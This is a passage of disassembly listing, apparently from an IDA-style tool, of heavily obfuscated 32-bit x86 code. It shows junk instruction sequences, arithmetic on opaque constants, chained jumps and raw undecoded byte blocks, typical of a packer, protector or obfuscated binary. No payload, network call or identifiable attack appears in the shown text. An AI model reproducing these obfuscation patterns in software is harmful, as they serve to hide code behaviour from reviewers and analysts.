		xchg	ebx, [esp+2Ch+var_2C]
		pop	esp
		push	eax
		jmp	loc_550DFD
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 1AF580EAh, 3062B652h, 13E95AF5h, 57FFFF91h, 0E9515052h
		dd 0FFFFF1B1h
; ---------------------------------------------------------------------------

loc_54F50C:				; CODE XREF: sub_542C3C+CFC4j
		and	esi, ebx
		pop	ebx
		jmp	loc_549BA8
; ---------------------------------------------------------------------------
		dd 507E0C1h, 34BB47FCh,	0FFA95935h, 58C62968h, 0C681CE29h
		dd 5DB010A5h, 291BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F531:				; CODE XREF: sub_542C3C+7D3Ej
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		push	esi
		push	eax
		pop	esi
		pop	eax
		xchg	esi, [esp+2Ch+var_2C]
		push	[esp+2Ch+var_2C]
		jmp	loc_549BEF
; ---------------------------------------------------------------------------

loc_54F544:				; CODE XREF: sub_542C3C+DB02j
		add	esp, 4
		push	39F6h
		mov	[esp+30h+var_30], edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_551DD6
; ---------------------------------------------------------------------------
aPR		db 'P°r±µ',0
aXair		db 'ÁX€ë',0
		dw 0E9CBh
		dd 0FFFFF64Ah
; ---------------------------------------------------------------------------

loc_54F570:				; CODE XREF: sub_542C3C+5E2Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+24h+var_24]
		jmp	loc_547BBE
; ---------------------------------------------------------------------------
		dw 6856h
		dd 52E548A5h, 0D6F7465Eh, 0C66FC681h, 0F1899EBCh, 0E9C8015Eh
		dd 3246h
; ---------------------------------------------------------------------------

loc_54F59C:				; CODE XREF: sub_542C3C+A910j
		pop	[esp+40h+var_40]
		add	[esp+3Ch+var_3C], 4
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_54E861
; ---------------------------------------------------------------------------

loc_54F5BA:				; CODE XREF: sub_542C3C+A25Cj
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		db 66h
		dd 70E932FFh, 28FFFFBBh, 42B551C3h, 0E9A0B450h,	0FFFFA991h
; ---------------------------------------------------------------------------

loc_54F5D4:				; CODE XREF: sub_542C3C+DBC4j
		mov	bh, byte ptr [esp+2Ch+var_2C]
		push	ebx
		jmp	loc_54DD4E
; ---------------------------------------------------------------------------
		db 47h,	81h, 0F7h
		dd 7A6DC660h, 3806882Dh, 6C68570Fh, 89000002h, 0BFBB241Ch
		dd 0C1073710h, 0DBF707EBh, 0ADE9D3F7h, 0FFFFFFB4h, 835F2434h
		dd 0C78104C4h, 4, 4B951h, 0CF010000h, 81240C8Bh, 4C4h
		dd 243C8700h, 0BD5EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F62A:				; CODE XREF: sub_542C3C+D873j
		sub	ecx, 89E09D07h
		add	ebx, ecx
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		push	eax
		mov	eax, 0
		sub	eax, ebx
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_551DCE
; ---------------------------------------------------------------------------
		db 68h,	2Eh, 3Fh
		dd 34890000h, 679EBE24h, 95682452h, 0E9000031h,	0FFFFA629h
		dd 5396B551h, 0FF8339E9h, 9BB850FFh, 316F603Bh,	0C58158C5h
		dd 0E4849ECh, 0E95DEB29h, 3B2Bh, 0FF75F5E9h, 2C483FFh
		dd 80E7C480h, 0E288D6F4h, 0FFC1E0E9h, 66ED81FFh, 0E919080Ah
		dd 1945h, 0C331665Eh, 68C0B70Fh, 0C9Ch,	0E9241C89h, 0FFFFB9C9h
; ---------------------------------------------------------------------------

loc_54F6B4:				; CODE XREF: sub_542C3C+DB16j
		push	eax
		mov	eax, 4
		jmp	loc_548C05
; ---------------------------------------------------------------------------
		db 59h
		dd 0E902E2C0h, 0B48h, 6760EB81h, 0DD01FF14h, 0DDEF815Bh
		dd 0E949290Bh, 0FFFFA9FBh, 5AD6015Bh, 434E9h, 815E5400h
		dd 4C6h, 4C68300h, 5C243487h, 67E8B850h, 0B1E97741h, 5D000008h
		dd 0B6E9D9F7h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F707:				; CODE XREF: sub_542C3C+A54Dj
		pop	ecx
		add	esp, 4
		pop	[esp+40h+var_40]
		pop	esp
		jmp	loc_55280C
; ---------------------------------------------------------------------------
		db 81h
		dd 82684F6h, 73C38100h,	0E928A820h, 0FFFFE83Eh
; ---------------------------------------------------------------------------

loc_54F728:				; CODE XREF: sub_542C3C+BDEDj
		add	edx, 4
		push	edx
		push	[esp+4Ch+var_48]
		mov	edx, [esp+50h+var_50]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+54h+var_54]
		pop	esp
		pop	[esp+50h+var_50]
		pop	esp
		jmp	loc_54EF49
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1A477FF3h, 0EEE9E3D1h, 0E9FFFFC3h, 0FFFF751Ah, 3DFBBA52h
		dd 0EB8127FEh, 5427133Ah, 0C381D329h, 5427133Ah, 0BA525Ah
		dd 1000000h, 0B850DAh, 2D000000h, 69D979DEh, 0DE05D001h
		dd 8B69D979h, 5B5A5808h, 8904EC83h, 0EC81243Ch,	4, 24048F54h
		dd 4240483h, 4EC815Fh, 89000000h, 15B9240Ch, 811B713Fh
		dd 0F008FDC9h, 7C1813Bh, 1C40EC0h, 0B85059CFh, 4B742F62h
		dd 5C2F7025h, 2354870h,	0E96D3019h, 0FFFF7B42h,	842CF8BDh
		dd 63C6BF5Eh, 0EF29A58Fh, 0F7814F5Dh, 37EC7779h, 0F4C0C781h
		dd 0F9299453h, 83243C8Bh, 0B85004C4h, 0
aIXbsiT2rps1	db ')ȉÁXé¨;T2RPé×1',0
		align 2
		dw 1FBEh
		dd 8106FB3Eh, 0E831DCC6h, 0F9F68102h, 0F77AE401h, 8463E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F82E:				; CODE XREF: sub_542C3C+483Fj
		pop	edi
		jmp	loc_54B76F
; ---------------------------------------------------------------------------
		dd 4BDh, 0CC6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F83E:				; CODE XREF: sub_542C3C+BE92j
		push	ebx
		push	[esp+38h+var_34]
		pop	ebx
		pop	[esp+38h+var_38]
		jmp	loc_54BCCA
; ---------------------------------------------------------------------------
aM0Sl		db '¬0Øél/',0
		align 4
		dd 240CD35Ch, 741CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F85E:				; CODE XREF: sub_542C3C+8866j
		push	59115B9Eh
		pop	ebp
		or	ebp, 4D512529h
		neg	ebp
		sub	ebp, 0A2AE803Dh
		mov	eax, ebp
		pop	ebp
		add	ebp, 467A0208h
		add	ebp, eax
		sub	ebp, 467A0208h
		pop	eax
		xor	ebp, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], ebp
		jmp	loc_5473CA
; ---------------------------------------------------------------------------

loc_54F88F:				; CODE XREF: sub_542C3C+4789j
		push	eax
		push	[esp+28h+var_24]
		pop	eax
		pop	[esp+28h+var_28]
		mov	esp, [esp+24h+var_24]
		push	43A3h
		mov	[esp+28h+var_28], ecx
		jmp	loc_551DB3
; ---------------------------------------------------------------------------
		dd 9FEFE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8AE:				; CODE XREF: sub_542C3C+FBD5j
		mov	[esp+28h+var_28], esi
		push	515F277Dh
		mov	esi, [esp+2Ch+var_2C]
		push	eax
		push	esp
		pop	eax
		push	ecx
		push	ebp
		mov	ebp, 7E222B16h
		jmp	loc_551109
; ---------------------------------------------------------------------------
		dd 0E9D0C980h, 0FFFFCA06h
; ---------------------------------------------------------------------------

loc_54F8D0:				; CODE XREF: sub_542C3C+C7F5j
		jmp	loc_546C7A
; ---------------------------------------------------------------------------

loc_54F8D5:				; CODE XREF: sub_542C3C+53ADj
		mov	ecx, 4
		jmp	loc_5520E5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9243489h, 260Eh, 5304C483h, 0FFBA22E9h, 8F66FFh, 0FFB839E9h
		dd 0C875FFFh, 0AE95C24h, 8100000Dh, 0FF4DB7F7h,	5FFD8961h
		dd 0FFF282E9h, 2434FFFFh, 8124048Bh, 4C4h, 4EC8100h, 0E9000000h
		dd 0FFFFE3EFh, 8704E883h, 895C2404h, 4832424h, 148B0424h
		dd 0B191E924h, 0D031FFFFh, 5A2434FFh, 4C481h, 87E90000h
		dd 1FFFF88h, 242C8BEEh,	0FFAB4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F959:				; CODE XREF: sub_542C3C+A611j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_54D337
; ---------------------------------------------------------------------------

loc_54F967:				; CODE XREF: sub_542C3C+F401j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 7363323h
		sub	edi, 209E410Ah
		and	edi, 3E6C06EEh
		sub	edi, 4D405A80h
		or	edi, 371E30E0h
		jmp	loc_548C7C
; ---------------------------------------------------------------------------

loc_54F997:				; CODE XREF: sub_542C3C+7D1Aj
		push	ecx
		mov	ch, 44h
		inc	ch
		xor	ch, 1Ah
		push	ebx
		mov	bh, 3
		and	ch, bh
		pop	ebx
		jmp	loc_548282
; ---------------------------------------------------------------------------

loc_54F9AA:				; CODE XREF: sub_542C3C+80F6j
		add	esp, 4
		push	18E6h
		jmp	loc_54D60B
; ---------------------------------------------------------------------------
		dw 489h
		dd 0A74AE924h, 0BF57FFFFh, 5FC95F9Fh, 204EF781h, 0C28179D8h
		dd 2E455044h, 0EA81FA01h, 2E455044h, 0C283585Fh, 24148704h
		dd 0F724248Bh, 48868F9h, 14890000h, 0E99C5024h,	0FFFF77A5h
		dd 0E9242489h, 0FFFFCE2Ah, 4EC81h, 4890000h, 0B1ABB024h
		dd 58C130BBh, 5966CB00h, 0FFC0B60Fh, 57528734h,	2B11B951h
		dd 68551259h, 48B5h, 0FFA34EE9h, 0C8B66FFh, 59545124h
		dd 12CCBB53h, 0DBF70E14h, 12D0C381h, 67E90E14h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FA47:				; CODE XREF: sub_542C3C+BF46j
		mov	eax, [esp+3Ch+var_3C]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_54E00D
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 14h
		dd 8158564Bh, 277BFCC9h, 5E9C160h, 0F706E1C1h, 0FFC181D9h
		dd 81FFFFFFh, 0EEF8BFC1h, 1C4F21F0h, 0E92434FFh, 0FFFFD411h
		dd 0E9E08950h, 178h, 4C481h, 34870000h,	24248B24h, 6824148Bh
		dd 2338h, 54241489h, 5557505Ah,	531AD468h, 7AE95D38h, 5B000030h
		dd 10E95755h, 53000026h, 0EC81E389h, 4,	0E9240C89h, 0FFFFC44Bh
		dd 0BE243489h, 25E279F0h, 0C1D6F746h, 0BA5207EEh, 234B1AFAh
		dd 0F7E9DAF7h, 5900001Ch, 5C24048Fh, 9C240429h,	0FF717DE9h
		dd 8DC281FFh, 5D3D5019h, 0FF9BC3E9h, 0D4C781FFh, 89FA8318h
		dd 564A5FFAh, 0FF8577E9h, 74FF56FFh, 8F5E0424h,	0FF5C2404h
		dd 48B2434h, 4C48324h, 56595451h, 57C768h, 241C8900h, 0E66FE0BBh
		dd 53BA520Fh, 42624440h, 0D070F281h, 0D301925Dh, 2C25E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FB51:				; CODE XREF: sub_542C3C+B93Bj
		xor	[esp+34h+var_34], eax
		mov	eax, [esp+34h+var_34]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_549872
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 0E9000000h, 0FFFFD817h, 801CC380h, 835A3DEBh, 1C8904ECh
		dd 3FCEBB24h, 91E90624h, 0F7FFFFEBh, 81DBF7DBh,	8210FEE3h
		dd 3DE3817Eh, 56372545h, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 0C8BA2414h, 0E914A8A6h, 3067h, 0F668515Ch, 89000079h
		dd 4832424h, 0E9590424h, 0F07h,	0D356F781h, 0C381006Dh
		dd 301105ADh, 0EB81FB01h, 301105ADh, 8DCCE95Fh,	0F168FFFFh
		dd 0E94E5D58h, 0FFFFA8EDh
; ---------------------------------------------------------------------------

loc_54FBEC:				; CODE XREF: sub_542C3C+9233j
		pop	ebp
		sub	esi, 6A26635Bh
		push	6B42h
		mov	[esp+10h+var_10], ebx
		mov	ebx, 21A6349Dh
		jmp	loc_54F50C
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 0E9h
		dd 0FFFFB5C7h, 405h, 4C08300h, 0FF8F81E9h, 246C8AFFh, 0C28FE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FC22:				; CODE XREF: sub_542C3C+F17Ej
		push	[esp+10h+var_10]
		pop	ecx
		push	663Ah
		jmp	loc_54A8AF
; ---------------------------------------------------------------------------

loc_54FC30:				; CODE XREF: sub_542C3C+E398j
		mov	ecx, esi
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		push	ebp
		jmp	loc_54F36C
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 5304246Ch, 0E9475257h, 0FFFFDC61h, 0F581D5F7h, 0B530B532h
		dd 0FF934FE9h, 0CFE51FFh, 0B691E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FC62:				; CODE XREF: sub_542C3C+8176j
		push	edi
		mov	edi, 0B5067Dh
		sub	esi, edi
		pop	edi
		sub	esi, eax
		jmp	loc_54E163
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 134332A9h, 0DEF7DEF7h, 0DD63BD55h, 0EE01F03Bh, 2E78E9h
		dd 92EB8100h, 68DA1C3Fh, 0E69h,	0E9240C89h, 0FFFFBB0Bh
		dd 0FF6FD9E9h, 0C8B66FFh, 9FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FCAA:				; CODE XREF: sub_542C3C+B759j
		push	0FCCh
		mov	[esp+38h+var_38], eax
		mov	ah, 54h
		jmp	loc_5507EB
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF8564h, 8904EC83h, 0B9512424h, 4, 4244C01h
		dd 0B8685959h, 89000079h, 4BD242Ch, 1000000h, 242C8BE9h
		dd 4C481h, 0C1830000h, 10CBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FCF6:				; CODE XREF: sub_542C3C+E94Cj
		mov	[esp+38h+var_38], edi
		push	1FFFh
		jmp	loc_55001D
; ---------------------------------------------------------------------------

loc_54FD03:				; CODE XREF: sub_542C3C+6F8Bj
		mov	[esp+30h+var_30], esi
		push	21D44206h
		pop	esi
		jmp	loc_552296
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0AFh
		dd 83FFFFAFh, 48904ECh,	0E9E08924h, 0FFFF8570h
; ---------------------------------------------------------------------------

loc_54FD24:				; CODE XREF: sub_542C3C+5164j
		push	ecx
		push	[esp+2Ch+var_28]
		jmp	loc_54D186
; ---------------------------------------------------------------------------

loc_54FD2E:				; CODE XREF: sub_542C3C+E89Ej
		sub	esp, 4
		mov	[esp+34h+var_34], edx
		push	0B91h
		mov	[esp+38h+var_38], eax
		jmp	loc_548679
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E3895324h, 4C381h, 0C3810000h, 2, 5C241C87h, 0E982B551h
		dd 0FFFFEE53h
; ---------------------------------------------------------------------------

loc_54FD60:				; CODE XREF: sub_542C3C+AB6Bj
		add	esp, 4
		push	544Eh
		mov	[esp+30h+var_30], ebp
		add	[esp+30h+var_30], 6D7C5CCCh
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		push	ebp
		mov	ebp, 6D7C5CCCh
		sub	edx, ebp
		pop	ebp
		pop	ebp
		and	ecx, edx
		pop	edx
		shr	ecx, 0
		or	eax, eax
		jz	loc_5492BD
		sub	esp, 4
		mov	[esp+28h+var_28], ecx
		push	ebx
		jmp	loc_550E91
; ---------------------------------------------------------------------------
		dw 0E480h
		dd 0DFCC8032h, 80C3EC80h, 885327ECh, 8BDD88E3h,	0FFE9241Ch
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FDBB:				; CODE XREF: sub_542C3C+A967j
		xchg	ebx, [esp+34h+var_34]
		pop	esp
		mul	ecx
		push	7E58h
		mov	[esp+34h+var_34], edx
		push	eax
		pushf
		jmp	loc_546C7A
; ---------------------------------------------------------------------------

loc_54FDD0:				; CODE XREF: sub_542C3C+8CF0j
		mov	ebp, 2B2B3C37h
		jmp	loc_549040
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 1142E924h, 1CF70000h, 8FE99C24h, 66FFFF6Eh, 68240C8Bh
		dd 70D7h, 0E9241489h, 0FFFFC23Dh, 0E27E19BEh, 2474012Ah
		dd 78C9E904h, 0EC81FFFFh, 4, 0E9241489h, 0FFFFCD95h, 8102EAC1h
		dd 0A20BD4EAh, 608E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FE26:				; CODE XREF: sub_542C3C+42C8j
		or	eax, eax
		jz	loc_5501FB
		push	dword ptr [edi+1Ch]
		push	[esp+3Ch+var_3C]
		push	[esp+40h+var_40]
		pop	ecx
		add	esp, 4
		push	2DFh
		mov	[esp+40h+var_40], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 3B1356EDh
		xor	ebx, 49C83F92h
		add	ebx, 8D249685h
		add	eax, ebx
		mov	ebx, [esp+44h+var_44]
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	eax, 45A15DD7h
		add	eax, esi
		add	eax, 45A15DD7h
		pop	esi
		jmp	loc_5489E3
; ---------------------------------------------------------------------------
		db 0F7h
		dd 95CD81DDh, 812D4116h, 0EBBC6CF5h, 0E9E929CDh, 0FFFFF19Dh
		dd 5357585Bh, 0F7815B5Fh, 6A850A00h, 24F0B850h,	5402C88h
		dd 273127FCh, 0FFD993E9h, 0BFE981FFh, 1019230h,	0B95159CFh
		dd 4, 8759CF29h, 0E2E9243Ch, 8BFFFFF2h,	0D3662424h, 0E99C2424h
		dd 0FFFF6DAAh, 0E9D8015Eh, 0FFFFD37Ah, 50F1F766h, 405E089h
		dd 2D000000h, 4, 5C240487h, 0E9240489h,	0FFFF7404h, 32EC6866h
		dd 24148966h, 0E99C5066h, 0FFFF6D76h, 515AD301h, 237397B9h
		dd 0E9D1F735h, 0FFFF7375h, 0FF2FE981h, 5053E868h, 3238BAB8h
		dd 58C38960h, 0F7FFC383h, 0E71CE9D3h, 489FFFFh,	0FE22B424h
		dd 0D7F480CCh, 0C480D4F6h, 45EC80FFh, 2858E328h, 4EC83C3h
		dd 0E9241489h, 2093h, 0E924348Bh, 0FFFFEA45h, 582434FFh
		dd 0FFE1B6E9h, 5FFD89FFh, 6AD0E581h, 0BF571F80h, 5277040Ch
		dd 815FFD09h, 0D422A6F5h, 1ED8175h, 81000000h, 1E3DD6F5h
		dd 2ECCE924h, 0B2520000h, 9FF280E4h, 0FFCF20E9h, 24048BFFh
		dd 0FFE10BE9h, 1CEB80FFh, 880E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FFA5:				; CODE XREF: sub_542C3C+EAB0j
		mov	esp, [esp+40h+var_40]
		mov	[esp+40h+var_40], ebx
		jmp	loc_54DBEA
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 37D4BA24h, 0F28115ECh, 7B093742h
		dd 0DBE9D031h, 68FFFFDFh, 65B7h, 0BE243489h, 4,	348BF129h
		dd 4C48324h, 0FFE08CE9h, 55854FFh, 4, 205h, 24048700h
		dd 48B665Ch, 8C93E924h,	0E829FFFFh, 0AF654A2Dh,	3D420516h
		dd 55D2D37h, 224F1DA1h,	0EC81D829h, 4, 2E09E9h
		db 0
; ---------------------------------------------------------------------------

loc_55001D:				; CODE XREF: sub_542C3C+D0C2j
		mov	[esp+3Ch+var_3C], eax
		jmp	loc_547CB0
; ---------------------------------------------------------------------------

loc_550025:				; CODE XREF: sub_542C3C+57AAj
		xchg	edx, edi
		jmp	loc_54DF57
; ---------------------------------------------------------------------------
		dd 0B8505D54h, 4, 5258C501h, 0BF57E289h, 4, 815FFA01h
		dd 4EAh, 24148700h, 8924248Bh, 68552434h, 7DCC4528h, 0FFD7C4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55005D:				; CODE XREF: sub_542C3C+DFDEj
		mov	[esp+20h+var_20], edx
		push	edi
		push	edx
		push	edi
		push	60702BE0h
		jmp	loc_54ACA6
; ---------------------------------------------------------------------------

loc_55006D:				; CODE XREF: sub_542C3C+EA14j
		mov	esp, [esp+30h+var_30]
		jmp	loc_550B9F
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 56h
		dd 0BFFFFFCDh, 60BB3FC3h, 0C781DFF7h, 76AE2302h, 0FFC901E9h
		dd 0F68146FFh, 92AF9028h, 8AE9F389h, 0FFFFFF8Ch, 669D1C77h
		dd 4196658h, 0CFE99C24h, 52FFFF6Bh, 973696BAh, 590E90Fh
		dd 0C3810000h, 4, 4EB81h, 1C870000h, 14895C24h,	81E28924h
		dd 4C2h, 2BF5700h, 50000000h, 0C54E80B8h, 58C20117h, 0BE56FA01h
		dd 74626E83h, 0EEC1DEF7h, 0F0CE8107h, 81125169h, 923572F6h
		dd 5EF22904h, 2414875Fh, 2824248Bh, 0E99C2404h,	0FFFF6B6Eh
		dd 66CE3166h, 3166F131h, 664966CEh, 0D166CE87h,	665766E6h
		dd 0E96D0968h, 1B15h, 240C8B66h, 5E08950h, 4, 93685057h
		dd 0E963F666h, 0FFFF79ABh, 0FF240489h, 58042474h, 8B24048Fh
		dd 2C892424h, 0D0E2E924h, 8058FFFFh, 0F000F4F6h, 0E924148Bh
		dd 0FFFFE291h, 3671E581h, 0C5816C85h, 762100BAh, 1DDBED81h
		dd 0F58124E5h, 5A9BE13Ch, 63E9EA01h, 66000004h,	53240C8Bh
		dd 0C18BE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55018E:				; CODE XREF: sub_542C3C+713Aj
		add	ebx, edx
		pop	edx
		and	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		and	esi, 724C377Ch
		push	edx
		mov	edx, 7FA00h
		jmp	loc_5522EC
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 8B042474h,	0C4832434h, 0C1815904h,	4, 2C181h
		dd 0FF510000h, 8B042474h, 8950240Ch, 405E0h, 0C0830000h
		dd 24048704h, 24048F5Ch, 5324248Bh, 0C381E389h,	4, 4EB81h
		dd 0DFE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5501FB:				; CODE XREF: sub_542C3C+85C4j
					; sub_542C3C+D1ECj
		push	7EB1h
		mov	[esp+34h+var_34], ebx
		push	[esp+34h+var_34]
		mov	eax, [esp+38h+var_38]
		push	edi
		push	esp
		jmp	loc_551259
; ---------------------------------------------------------------------------
		dd 0F6F8B551h, 0C2F580DDh, 0FFF2D5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55021D:				; CODE XREF: sub_542C3C+50A8j
		push	eax
		mov	eax, 6E601A22h
		jmp	loc_5523EA
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 70EF57D6h, 8104E3C1h, 795F5DEBh,	4A39683Fh
		dd 4890000h, 5C446824h,	53582610h, 0EBC376BBh, 5BD83150h
		dd 48BC301h, 2F3E924h, 5A660000h, 66B8B450h, 66437F68h
		dd 0B6241489h, 66F408D5h, 0B3B5515Ah, 0FEDFC580h, 6AC580CDh
		dd 0E959EC30h, 7A5h, 815F5457h,	4C7h, 14476800h, 34890000h
		dd 2BE24h, 0EF810000h, 48D53DA3h, 0BD55F729h, 16597BBAh
		dd 3815CD81h, 0BB532671h, 36283569h, 5E76E381h,	0E3D169F3h
		dd 5E3C143h, 1124C381h,	1E9096Bh, 66FFFFF4h, 50240C8Bh
		dd 405E089h, 0E9000000h, 0FFFF6A35h
; ---------------------------------------------------------------------------

loc_5502D8:				; CODE XREF: sub_542C3C+F6ABj
		push	[esp+2Ch+var_2C]
		jmp	loc_54C7A6
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54CC19
; ---------------------------------------------------------------------------

loc_5502EB:				; CODE XREF: sub_542C3C+BECCj
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		db 29h
		dd 6F055FF8h, 0E952F348h, 0FFFFC6D4h, 5202C283h, 0FF7583E9h
		dd 5AD129FFh, 0FF7B76E9h, 4C681FFh, 56000000h, 2EEFE9h
		dd 4C48300h, 8B240C87h,	3CD32424h, 3BE99C24h, 66FFFF69h
		dd 0E958C189h, 11B3h, 0C281E289h, 4, 1BA7E9h, 81E38900h
		dd 4C3h, 12F3E900h, 2B80000h, 9330D919h, 0E993D3F7h, 0FFFFEF67h
; ---------------------------------------------------------------------------

loc_550370:				; CODE XREF: sub_542C3C+7A44j
		mov	[esp+28h+var_28], esi
		mov	esi, esp
		push	edx
		jmp	loc_54E70E
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2414h, 0FFFFD8D8h, 24048B66h, 9D868h, 24048900h
		dd 0FFC1EFE9h, 0C895CFFh, 247DE924h, 0DAF70000h, 2EA3F281h
		dd 65E9B046h, 57FFFF8Ah, 0C781E789h, 4,	4EF81h,	3C330000h
		dd 243C3124h, 0FF836FE9h, 4C481FFh, 56000000h, 535FBF57h
		dd 0EF814646h, 349A0A04h, 2344E781h, 81E942FAh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5503E3:				; CODE XREF: sub_542C3C+ACB1j
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 284D12D3h
		jmp	loc_551412
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF7250h, 41E953ACh, 8BFFFF88h, 0BE92424h,	2C000024h
		dd 0E088E961h, 8B66FFFFh, 20E9241Ch, 81FFFF99h,	180BCCC2h
		dd 6FC28123h, 2965C86Bh, 7205E9DAh, 8742FFFFh, 0FFEF83FAh
		dd 0EA81FA87h, 0FEDC1427h, 148BD501h, 0B1A9E924h, 0F181FFFFh
		dd 78231A1Ah, 27C6C181h, 0C1493813h, 8AE908E9h,	66FFFFB2h
		dd 3166F531h, 0F53166EEh, 0FFD67AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550469:				; CODE XREF: sub_542C3C+86D2j
		mov	esi, [esp+30h+var_30]
		jmp	loc_547971
; ---------------------------------------------------------------------------

loc_550471:				; CODE XREF: sub_542C3C+B872j
		push	eax
		push	25A34834h
		pop	eax
		xor	eax, 25A36834h
		push	eax
		xor	[esp+3Ch+var_3C], 13D811E0h
		pop	edx
		xor	edx, 13D811E0h
		jmp	loc_54A436
; ---------------------------------------------------------------------------
		align 2
		dw 59C8h
		dd 0FF6D6AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550499:				; CODE XREF: sub_542C3C+6ED8j
		pop	ebx
		pop	esi
		sub	esp, 4
		mov	[esp+28h+var_28], ecx
		mov	ecx, 1ECB092Fh
		not	ecx
		shl	ecx, 5
		shr	ecx, 8
		inc	ecx
		jmp	loc_54F62A
; ---------------------------------------------------------------------------
		dd 0E9C9095Ah, 0FFFFA791h, 8087B151h, 0CE08C4E9h, 0FF9AB5E9h
		dd 8B665CFFh, 48E92404h, 83FFFFD1h, 348704C6h, 0C3815C24h
		dd 4, 2C381h, 1C870000h, 16CDE924h, 4010000h, 4EC8124h
		dd 89000000h, 61BD242Ch, 0E95E2331h, 0FFFFBF8Ch, 815DE901h
		dd 4ECh, 24048900h, 4B8h, 58C12900h, 5C240C87h,	53241489h
		dd 0E16A0068h, 0CB815B33h, 1FBD7B40h, 81D3F74Bh, 50875BC3h
		dd 6F83E988h, 72B9FFFFh, 8157E975h, 270C9FF1h, 59C88919h
		dd 0FFEF10E9h, 5B5453FFh, 0BFAB951h, 0C18141FFh, 557F5AD1h
		dd 8E9C149h, 819EC181h,	0CB01FF68h, 4C38159h, 87000000h
		dd 0B4E9241Ch, 81FFFFC5h, 4ECh,	240C8900h, 4B9h, 0DE9DE900h
		dd 0E981FFFFh, 31D340F1h, 81242C8Bh, 4C4h, 2C18100h, 87000000h
		dd 4CE9240Ch, 5A000008h, 4C281h, 22680000h, 0E9000061h
		dd 0FFFFCB01h, 5C241487h, 24DEE954h, 89520000h,	4BB53E2h
		dd 1000000h, 0C2815BDAh, 4, 5C241487h, 69D868h,	24048900h
		dd 0A694E955h, 315DFFFFh, 0FF042454h, 0E95A2434h, 0FFFFE48Fh
		dd 4C1815Ch, 81000000h,	4ECh, 240C8900h, 42474FFh, 0FFF4E2E9h
		dd 0B30F66FFh, 0E99C2404h, 0FFFF6662h, 8007E2C0h, 0E95143F2h
		dd 0FFFFD2F3h
; ---------------------------------------------------------------------------

loc_550624:				; CODE XREF: sub_542C3C+E121j
		pop	eax
		jmp	loc_551539
; ---------------------------------------------------------------------------
		dw 0C02Dh
